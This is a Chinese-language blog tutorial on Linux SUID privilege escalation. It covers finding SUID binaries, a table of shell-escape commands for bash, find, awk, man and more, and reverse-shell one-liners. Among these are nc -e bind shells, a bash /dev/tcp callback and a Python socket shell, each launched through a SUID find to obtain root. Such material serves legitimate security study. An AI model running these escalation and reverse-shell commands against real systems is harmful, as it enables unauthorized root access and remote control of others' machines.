SUID

Fc04dB Lv4

# SUID 提权

suid (set uid) 是 linux 中的一种特殊权限,suid 可以让调用者以文件拥有者身份运行该文件,所以利用 suid 提权的核心就是运行 root 用户所拥有的 suid 的文件,那么运行该文件的时候就得获得 root 用户的身份了。

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

1
2
chmod u+s filename #设置suid
chmod u-s filename #去除suid

查找所有配置了 SUID 权限的文件

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
  • -type f: 只查找普通文件,排除目录等其他类型的文件

  • -exec ls -la {} 2>/dev/null ;: 对查找到的文件执行 ls -la 命令,2>/dev/null 表示将标准错误输出重定向到 /dev/null,以避免显示不必要的错误信息

  • -perm 匹配权限:

    1
    2
    3
    4
    5
    6
    7
    4000 2000 1000分别表示SUID SGID SBIT
    1.普通文件,文件的权限一般三位,777最高文件权限
    -perm -0777搜索的就是最高权限的文件rwxrwxrwx
    -perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
    2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
    -perm -7000搜索的就是最高权限的文件–s–s–t
    -perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –t(1000)等

有很多赋予 suid 权限的文件可以达到权限提升的效果

suid 文件 提权命令
/usr/bin/bash bash -p
/usr/bin/csh csh -b
/usr/bin/sh sh -p
/usr/bin/ksh ksh -p
/usr/bin/zsh zsh
/usr/bin/find find /etc/passwd -exec /bin/bash -p ;
/usr/bin/awk awk ‘BEGIN {system("/bin/bash")}’
/usr/bin/man !/bin/bash
/usr/bin/more !/bin/bash

更多利用命令在 GTFOBins 可以找到

# find

1
2
3
4
5
find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root

还有一种差不多的提权方法

1
2
3
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

# shell

在靶机上:

1
find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

1
nc 靶机ip 4444

反弹 shell

在靶机上:

1
find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;

在攻击机上:

1
nc -lvp port

也可以写一个反弹 root 的 shell

1
2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvp port

这里也可以结合之前的命令

1
/usr/bin/find 1.txt -exec python -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

各种提权:浅谈 linux suid 提权–先知社区

  • Title: SUID
  • Author: Fc04dB
  • Created at : 2024-11-15 09:51:35
  • Updated at : 2024-11-19 18:06:45
  • Link: https://redefine.ohevan.com/2024/11/15/SUID/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
SUID